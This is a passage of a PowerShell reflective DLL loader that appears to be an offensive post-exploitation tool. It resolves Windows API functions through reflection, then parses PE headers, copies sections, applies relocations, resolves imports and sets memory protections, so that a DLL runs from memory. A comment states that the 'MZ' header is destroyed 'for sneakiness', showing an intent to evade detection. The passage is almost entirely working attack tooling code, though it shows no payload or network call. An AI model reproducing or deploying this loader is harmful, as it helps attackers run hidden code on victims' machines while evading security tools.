PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 return $Win32Constants } Function Get-Win32Functions { $Win32Functions = New-Object System.Object $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy $memsetAddr = Get-ProcAddress msvcrt.dll memset $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [Ref]) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect return $Win32Functions } ##################################### ##################################### ########### HELPERS ############ ##################################### #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses Function Sub-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { $Val = $Value1Bytes[$i] - $CarryOver #Sub bytes if ($Val -lt $Value2Bytes[$i]) { $Val += 256 $CarryOver = 1 } else { $CarryOver = 0 } [UInt16]$Sum = $Val - $Value2Bytes[$i] $FinalBytes[$i] = $Sum -band 0x00FF } } else { Throw "Cannot subtract bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Add-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { #Add bytes [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver $FinalBytes[$i] = $Sum -band 0x00FF if (($Sum -band 0xFF00) -eq 0x100) { $CarryOver = 1 } else { $CarryOver = 0 } } } else { Throw "Cannot add bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Compare-Val1GreaterThanVal2AsUInt { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) { if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) { return $true } elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) { return $false } } } else { Throw "Cannot compare byte arrays of different size" } return $false } Function Convert-UIntToInt { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt64] $Value ) [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } Function Test-MemoryRangeValid { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $DebugString, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $DllInfo, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] [IntPtr] $EndAddress, [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) [IntPtr]$FinalEndAddress = [IntPtr]::Zero if ($PsCmdlet.ParameterSetName -eq "Size") { [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) } else { $FinalEndAddress = $EndAddress } $DllEndAddress = $DllInfo.EndAddress if ((Compare-Val1GreaterThanVal2AsUInt ($DllInfo.DllHandle) ($StartAddress)) -eq $true) { Throw "Trying to write to memory smaller than allocated address range. $DebugString" } if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($DllEndAddress)) -eq $true) { Throw "Trying to write to memory greater than allocated address range. $DebugString" } } #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } #Function written by Lee Holmes, Blog: http://www.leeholmes.com/blog/ function Invoke-Win32([string] $dllName, [Type] $returnType, [string] $methodName, [Type[]] $parameterTypes, [Object[]] $parameters) { ## Begin to build the dynamic assembly $domain = [AppDomain]::CurrentDomain $name = New-Object Reflection.AssemblyName ‘PInvokeAssembly’ $assembly = $domain.DefineDynamicAssembly($name, ‘Run’) $module = $assembly.DefineDynamicModule(‘PInvokeModule’) $type = $module.DefineType(‘PInvokeType’, “Public,BeforeFieldInit”) ## Go through all of the parameters passed to us. As we do this, ## we clone the user’s inputs into another array that we will use for ## the P/Invoke call. $inputParameters = @() $refParameters = @() for($counter = 1; $counter -le $parameterTypes.Length; $counter++) { ## If an item is a PSReference, then the user ## wants an [out] parameter. if($parameterTypes[$counter - 1] -eq [Ref]) { ## Remember which parameters are used for [Out] parameters $refParameters += $counter ## On the cloned array, we replace the PSReference type with the ## .Net reference type that represents the value of the PSReference, ## and the value with the value held by the PSReference. $parameterTypes[$counter - 1] = $parameters[$counter - 1].Value.GetType().MakeByRefType() $inputParameters += $parameters[$counter - 1].Value } else { ## Otherwise, just add their actual parameter to the ## input array. $inputParameters += $parameters[$counter - 1] } } ## Define the actual P/Invoke method, adding the [Out] ## attribute for any parameters that were originally [Ref] ## parameters. $method = $type.DefineMethod($methodName, ‘Public,HideBySig,Static,PinvokeImpl’, $returnType, $parameterTypes) foreach($refParameter in $refParameters) { $method.DefineParameter($refParameter, “Out”, $null) } ## Apply the P/Invoke constructor $ctor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([string]) $attr = New-Object Reflection.Emit.CustomAttributeBuilder $ctor, $dllName $method.SetCustomAttribute($attr) ## Create the temporary type, and invoke the method. $realType = $type.CreateType() $realType.InvokeMember($methodName, ‘Public,Static,InvokeMethod’, $null, $null, $inputParameters) ## Finally, go through all of the reference parameters, and update the ## values of the PSReference objects that the user passed in. foreach($refParameter in $refParameters) { $parameters[$refParameter - 1].Value = $inputParameters[$refParameter - 1] } } Function Get-ImageNtHeaders { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $DllHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $NtHeadersInfo = New-Object System.Object #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($DllHandle, $Win32Types.IMAGE_DOS_HEADER) #Get IMAGE_NT_HEADERS [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS64) #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. if ($imageNtHeaders64.Signature -ne 0x00004550) { throw "Invalid IMAGE_NT_HEADER signature." } if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') { $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value $true } else { $imageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS32) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value $false } return $NtHeadersInfo } #This function will get the information needed to allocated space in memory for the DLL Function Get-DllBasicInfo { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $DllBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $DllInfo = New-Object System.Object #Write the Dll to memory temporarily so I can get information from it. This is not it's final resting spot. [IntPtr]$UnmanagedDllBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dllBytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($dllBytes, 0, $UnmanagedDllBytes, $dllBytes.Length) | Out-Null #Get NtHeadersInfo $NtHeadersInfo = Get-ImageNtHeaders -DllHandle $UnmanagedDllBytes -Win32Types $Win32Types #Build a structure with the information which will be needed for allocating memory and writing the DLL to memory $DllInfo | Add-Member -MemberType NoteProperty -Name 'Dll64Bit' -Value ($NtHeadersInfo.Dll64Bit) $DllInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) $DllInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) $DllInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) #Free the memory allocated above, this isn't where we allocate the dll to memory [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedDllBytes) return $DllInfo } #DllInfo must contain the following NoteProperties: # DllHandle: An IntPtr to the address the Dll is loaded to in memory Function Get-DllDetailedInfo { Param( [Parameter( Position = 0, Mandatory = $true)] [IntPtr] $DllHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) if ($DllHandle -eq $null -or $DllHandle -eq [IntPtr]::Zero) { throw 'DllHandle is null or IntPtr.Zero' } $DllInfo = New-Object System.Object #Get NtHeaders information $NtHeadersInfo = Get-ImageNtHeaders -DllHandle $DllHandle -Win32Types $Win32Types #Build the DllInfo object $DllInfo | Add-Member -MemberType NoteProperty -Name DllHandle -Value $DllHandle $DllInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) $DllInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) $DllInfo | Add-Member -MemberType NoteProperty -Name Dll64Bit -Value ($NtHeadersInfo.Dll64Bit) if ($DllInfo.Dll64Bit -eq $true) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS64))) $DllInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } else { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS32))) $DllInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } return $DllInfo } Function Copy-Sections { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $DllBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $DllInfo, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $DllInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) #Address to copy the section to [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$SectionHeader.VirtualAddress)) #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, # so truncate SizeOfRawData to VirtualSize $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -DllInfo $DllInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($DllBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -DllInfo $DllInfo -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } } Function Update-MemoryAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $DllInfo, [Parameter(Position = 1, Mandatory = $true)] [Int64] $OriginalImageBase, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) [Int64]$BaseDifference = 0 $AddDifference = $true #Track if the difference variable should be added or subtracted from variables [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_BASE_RELOCATION) #If the Dll was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do if (($OriginalImageBase -eq [Int64]$DllInfo.DllHandle) ` -or ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) { return } elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($DllInfo.DllHandle)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($DllInfo.DllHandle) $AddDifference = $false } elseif ((Compare-Val1GreaterThanVal2AsUInt ($DllInfo.DllHandle) ($OriginalImageBase)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($DllInfo.DllHandle) ($OriginalImageBase) } #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$DllInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) while($true) { #If SizeOfBlock == 0, we are done $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, $Win32Types.IMAGE_BASE_RELOCATION) if ($BaseRelocationTable.SizeOfBlock -eq 0) { break } [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 #Loop through each relocation for($i = 0; $i -lt $NumRelocations; $i++) { #Get info for this relocation $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [UInt16]) #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF [UInt16]$RelocType = $RelocationInfo -band 0xF000 for ($j = 0; $j -lt 12; $j++) { $RelocType = [Math]::Floor($RelocType / 2) } #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) { #Get the current memory address and update it based off the difference between Dll expected base address and actual base address [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr]) if ($AddDifference -eq $true) { [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } else { [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null } elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) { #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" } } $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) } } Function Import-DllImports { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $DllInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types ) if ($DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$DllInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) #If the structure is null, it signals that this is the end of the array if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done importing DLL imports" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$DllInfo.DllHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { throw "Error importing DLL, DLLName: $ImportDllPath" } #Get the first thunk, then loop through all of them [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($ImportDescriptor.FirstThunk) [IntPtr]$ThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ThunkRef, [IntPtr]) while ($ThunkRefVal -ne [IntPtr]::Zero) { $ProcedureName = '' #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint # and doing the comparison, just see if it is less than 0 if([Int64]$ThunkRefVal -lt 0) { $IMAGE_ORDINAL = 0xFFFF $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi(([Int64]$ThunkRefVal -band $IMAGE_ORDINAL)) } else { $StringAddr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($ThunkRefVal) $StringAddr = Add-SignedIntAsUnsigned ($StringAddr) ([System.Runtime.InteropServices.Marshal]::SizeOf([UInt16])) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) } [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) if ($NewThunkRef -eq $null) { Throw "New function reference is null, this is almost certainly a bug in this script" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) $ThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ThunkRef, [IntPtr]) } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } } Function Get-VirtualProtectValue { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt32] $SectionCharacteristics ) $ProtectionFlag = 0x0 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE } } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_READONLY } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_NOACCESS } } } if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) { $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE } return $ProtectionFlag } Function Update-MemoryProtectionFlags { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $DllInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $DllInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$DllInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($DllInfo.DllHandle) ($SectionHeader.VirtualAddress) [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics [UInt32]$SectionSize = $SectionHeader.VirtualSize $OldProtectFlag = 0 Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -DllInfo $DllInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null $Success = Invoke-Win32 "kernel32.dll" ([Bool]) "VirtualProtect" @([IntPtr], [UInt32], [UInt32], [Ref]) @($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Unable to change memory protection" } } } ##################################### ########## FUNCTIONS ########### ##################################### Function Get-MemoryProcAddress { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] 